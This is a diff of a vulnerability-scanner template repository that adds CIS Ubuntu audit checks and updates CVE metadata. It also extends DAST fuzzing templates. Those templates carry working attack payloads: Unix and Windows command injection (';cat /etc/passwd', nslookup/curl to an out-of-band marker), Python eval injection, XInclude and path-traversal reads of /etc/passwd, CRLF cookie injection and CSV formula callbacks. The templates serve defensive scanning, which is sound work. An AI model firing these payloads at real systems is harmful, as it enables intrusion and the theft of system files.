- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ ! -e /etc/motd ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
exit 0
fi
mode=$(stat -Lc "%a" /etc/motd)
uid=$(stat -Lc "%u" /etc/motd)
gid=$(stat -Lc "%g" /etc/motd)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: prelink-not-installed-check
info:
name: Ensure Prelink is Not Installed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the prelink package is installed.
Prelink modifies binaries to decrease application startup time, but it
interferes with file integrity monitoring and is not recommended on
secure systems.
remediation: |
Remove the prelink package if it is installed:
sudo apt remove prelink -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,prelink,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s prelink &>/dev/null; then
echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
else
echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: remote-login-warning-banner-configured-check
info:
name: Ensure Remote Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the remote login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
else
echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -11,7 +11,7 @@ info:
metadata:
verified: true
shodan-query: port:53
tags: dns,tcp,axfr,code
tags: dns,tcp,axfr,code,vuln
code:
- engine:
@@ -31,4 +31,4 @@ code:
regex:
- 'SOA\s+([^\s]+)'
group: 1
# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220729310e32ddaf376e205fe7202c209109d72fc732c11c480c2d0e76fcaa5ad3d022100e3ccab3824ce3028b6de37a92e77fc88aa98d5d8e6ae0ef6d8b061490e6ac218:922c64590222798bb761d5b6d8e72950
+30
View File
@@ -1529,5 +1529,35 @@
"website": "https://marcialpaulg.com",
"email": "[email protected]"
}
},
{
"author": "zer0p0int",
"links": {
"github": "https://github.com/zer0p0intvvv",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
},
{
"author": "Th3l0newolf",
"links": {
"github": "https://github.com/Th3l0newolf",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
},
{
"author": "sudo-a-man",
"links": {
"github": "https://github.com/sudo-a-man",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
}
]
+417 -39
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1 +1 @@
f41fb6aca06836485c29dcab0865f337
f3990275d1c6fc2915600ac9e66904ac
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 7.5
cve-id: CVE-2018-19518
cwe-id: CWE-88
epss-score: 0.9523
epss-percentile: 0.99855
epss-score: 0.96107
epss-percentile: 0.99877
metadata:
max-request: 1
confidence: tenative
@@ -53,4 +53,4 @@ http:
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100cec69f18c3403fdedb7898860163b27e4ec8053b1d6927b22b2874f87578441d02203f371f170f236bef715c529b4eb258c9fcd6e18543da26d910aa74dd6f101c79:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2020-9402
cwe-id: CWE-89
epss-score: 0.22513
epss-percentile: 0.97426
epss-percentile: 0.97717
cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
metadata:
vendor: djangoproject
@@ -54,4 +54,4 @@ http:
- "ORA-06512:"
- "Request Method:"
condition: and
# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200ea2e765c800bc0ba52ca06e3aa90997e41f4234bc15a589e148e204074f4b68022100c749edcb73d7d6e77919343992ef5147fdb1dd73b76546013aefaf740ebc8a78:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,11 +20,11 @@ info:
cve-id: CVE-2021-35042
cwe-id: CWE-89
epss-score: 0.44369
epss-percentile: 0.98609
epss-percentile: 0.98766
metadata:
verified: true
fofa-query: body="ProgrammingError" && body="ORDER BY"
tags: cve,cve2021,django,sqli,dast
tags: cve,cve2021,django,sqli,dast,vuln
variables:
rand_string: '{{rand_text_alpha(10, "abc")}}'
@@ -66,4 +66,4 @@ http:
- 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
- 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
- "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022010ce473936f3fa1c9cd2ece935f7f2cf3be900b3a1eb86a3662c6e48a8f46e0a0220246c94e37361dfa8d2a44f4798111b063b3fe421a034628a006252d497262d70:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2021-45046
cwe-id: CWE-502
epss-score: 0.99977
epss-percentile: 0.9998
epss-percentile: 0.99979
metadata:
max-request: 1
confidence: tenative
@@ -66,4 +66,4 @@ http:
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100b6ed1935cff5051003d99c6f19bcc8f1a999975bc7e3e9c5ac18f74bccb469ec022100842bffc0cbe807b3b39ad28a2f1e3a52a5fd8105a527b2ec81040e610a056adb:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2022-22965
cwe-id: CWE-94
epss-score: 0.99677
epss-percentile: 0.99948
epss-score: 0.99638
epss-percentile: 0.99949
cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -59,4 +59,4 @@ http:
words:
- "User-Agent: Java"
case-insensitive: true
# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022076496a9f03da0eed88349cae19ffa2ddd4af8408ab680e2bcae232324574f847022100f3b62d62298ad2d4c82fcd43c3a1ec1ccf83082b3219d59d47678c2ee49549ef:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2022-34265
cwe-id: CWE-89
epss-score: 0.73274
epss-percentile: 0.99392
epss-score: 0.73607
epss-percentile: 0.9947
tags: sqli,dast,vulhub,cve,cve2022,django,vuln
variables:
@@ -50,4 +50,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022071a18418fa32da6b6452ef0ebcde066ae63ff4be8159c649e9ad41d60131de96022100ad106ee3f57d421557f098852c997f92cdab7774c2605c49fbe8823d6972d563:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2022-42889
cwe-id: CWE-94
epss-score: 0.99931
epss-percentile: 0.99968
epss-percentile: 0.9997
metadata:
max-request: 1
confidence: tenative
@@ -70,4 +70,4 @@ http:
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200bc343e45555582db438e4321e4e229cca83cac40704b73194f800b0f7f391b40220337abff5987d9bbf41f030325b1666552cd946ca94e31498ab79fa03bccab83b:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2024-2961
cwe-id: CWE-787
epss-score: 0.8833
epss-percentile: 0.99752
epss-percentile: 0.99771
tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
- type: regex
regex:
- "root:x:0:0"
# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502203cc146f11f2e115d795986b5518b2187e5b790281d595d333607a34e133746510221009081f17d57be2b7129eacf3198808e60555da8d98c8ed16700d93da9b68af336:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
payload:
- "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -31,7 +32,9 @@ http:
- "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{payload}}"
@@ -47,4 +50,4 @@ http:
part: interactsh_protocol
words:
- "http"
# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ffa659b189fa15afd2deb641d4d7b3ad6fc998004693b214687229e64c044014022100a35d3b3c7ca81690c0c05e027ef0b95752a80e42a98e5902bb995e10d39e35b7:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -35,7 +36,9 @@ http:
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))
fuzzing:
- part: query
- parts:
- query
- body
type: replace
fuzz:
- "{{injection}}"
@@ -46,4 +49,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100cd9bba97f258c066f8503c51a37f32763c0c776da2023179cb9665d4e6c397d3022100b04ff58ead57ba70bb1b64bab48d1a4f591f5515215631baeecbbe96e621cf15:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -21,14 +21,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
stop-at-first-match: true
payloads:
interaction:
- "|nslookup {{marker}}|curl {{marker}}"
fuzzing:
- part: query
- parts:
- query
- body
fuzz:
- "{{interaction}}"
@@ -37,4 +40,4 @@ http:
part: interactsh_protocol
words:
- "dns"
# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950
@@ -19,13 +19,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
reflection:
- "{{first}}"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{reflection}}"
@@ -35,4 +38,4 @@ http:
part: header
regex:
- '(?m)(?i)(^set-cookie.*cookie_injection.*)'
# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100fcc832957048d66c083e01674bdb650b1f6aac2fe924de9a40f4175d15e9fcea022003ecffde416eccf471ecabcc2fb366f2280987da6a74bc0b23ef5abdd6829ae9:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
escape:
low:
@@ -62,7 +63,9 @@ http:
- "\r\t"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -73,4 +76,4 @@ http:
part: header
regex:
- '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100bca778c35d5fc61dd71c6454594f25f309d049b5681c7bfdcfa41ab4eeed600a022100d2ee23bf8dc026de3b52c0427f4ca3c4ee3ed9ba15cec1f43f81de2833807e3a:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
csv_fuzz:
- "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
@@ -28,7 +29,9 @@ http:
- '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -47,4 +50,4 @@ http:
- "text/csv"
- "application/csv"
- "application/vnd.ms-excel"
# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022047de9a9ade28a139a37de842b237ae72a42ccfed58a24a2166c1191da3ca847d022100a321d8f99e99bba547fcc6cdb6db36a15392eeceaf24cb7f7a4f72478899ded5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,81 @@
id: unix-command-injection
info:
name: Unix Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential Unix/Linux OS command injection by replacing query parameter values with shell separator payloads and identifying successful command execution through command output patterns or response time delays. Payloads included semicolons, pipes, logical AND operators, backticks, command substitution, and newline injection.
impact: |
Successful exploitation allows arbitrary command execution on the underlying operating system, leading to full server compromise, data exfiltration, lateral movement, and denial of service.
remediation: |
Never pass user-controlled input directly to shell commands. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 15
tags: cmdi,dast,rce,unix,linux,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# shell separators with id
- ";id"
- "|id"
- "&&id"
- "`id`"
- "$(id)"
# file read
- ";cat /etc/passwd"
- "|cat /etc/passwd"
- "$(cat /etc/passwd)"
# newline injection
- "%0aid"
- "%0acat+/etc/passwd"
# time-based
- ";sleep 5"
- "|sleep 5"
- "&&sleep 5"
- "$(sleep 5)"
- "`sleep 5`"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: id-output
part: body
regex:
- 'uid=\d+\([^)]+\)\s+gid=\d+'
- type: regex
name: etc-passwd
part: body
regex:
- 'root:.*:0:0:'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4a0a00473045022100aaf8abfa73f46e605b0bac69b67368f62a6178fc4bb7f5979592dbb8e6edcefc02201ee998c07753af257794d98725fd3fe4fce9f6280770ae5a9bbb52f19fbcc23a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,94 @@
id: windows-command-injection
info:
name: Windows Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential OS command injection on Windows targets by replacing query parameter values with command separator payloads and identifying successful command execution through output patterns from `dir`, `whoami`, `systeminfo`, or response time delays induced via `ping`.
impact: |
Successful exploitation allows arbitrary command execution on the underlying Windows system, leading to full server compromise, data exfiltration, privilege escalation, and denial of service.
remediation: |
Never pass user-controlled input directly to cmd.exe or PowerShell. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 14
tags: cmdi,dast,rce,windows,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# dir output
- "|dir"
- "&dir"
- "&&dir"
- "||dir"
- "|dir C:\\"
- "&&dir C:\\"
# identity
- "|whoami"
- "&&whoami"
# system enumeration
- "|systeminfo"
- "&&systeminfo"
- "|ipconfig"
- "&&ipconfig"
# time-based
- "&ping -n 5 127.0.0.1&"
- "&&ping -n 5 127.0.0.1&&"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: dir-output
part: body
regex:
- '(?mi)Directory of [A-Z]:\\\\'
- '(?mi)Volume in drive [A-Z]'
- type: regex
name: systeminfo-output
part: body
regex:
- '(?mi)^OS Name:\s+'
- '(?mi)^Host Name:\s+'
- type: regex
name: ipconfig-output
part: body
regex:
- '(?mi)Windows IP Configuration'
- type: regex
name: whoami-output
part: body
regex:
- '(?mi)^[a-z][-a-z0-9]*\\\\[a-z][-a-z0-9]*$'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4b0a00483046022100be5c540b1ed2ddf5d5cd3c6b4beec3d046833f77b6a37ebf25d26259ddacd9b6022100ad9b2b4618589ef59eae4f0de6793fe8a59b1f67db65cdf31cf2a631465a3d91:922c64590222798bb761d5b6d8e72950
@@ -15,14 +15,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
xinc_fuzz:
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -42,4 +45,4 @@ http:
part: body
words:
- 'for 16-bit app support'
# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022061c5b5f12d480ab581420090fe679f16eff360c4d8845959a335ff3bf53df93b022100e4fb9eff907afb896e7ae4d885535da03bae294cc6f4825c39c824fd4bf2e8fe:922c64590222798bb761d5b6d8e72950
+9 -4
View File
@@ -25,7 +25,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
pathtraversal:
- '{{fuzz}}etc/passwd'
@@ -55,7 +56,9 @@ http:
- '../../WEB-INF/web.xml'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- cat
@@ -91,7 +94,9 @@ http:
fuzz:
- "{{pathtraversal}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
@@ -120,4 +125,4 @@ http:
part: body
regex:
- '(<system.webServer[\s\S]+<\/system.webServer>)'
# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100b917be210562f0d09609a7c90cff98a2e93db64f5c6efae6e3c934d0cd6f611902205d5ac63faddba6eac5cbf4a36887f1727ea7752005af4ea6332e2c61a0fb4f9f:922c64590222798bb761d5b6d8e72950
Loaded 100 of 5525 files, more files were not shown because too many files have changed in this diff. Show more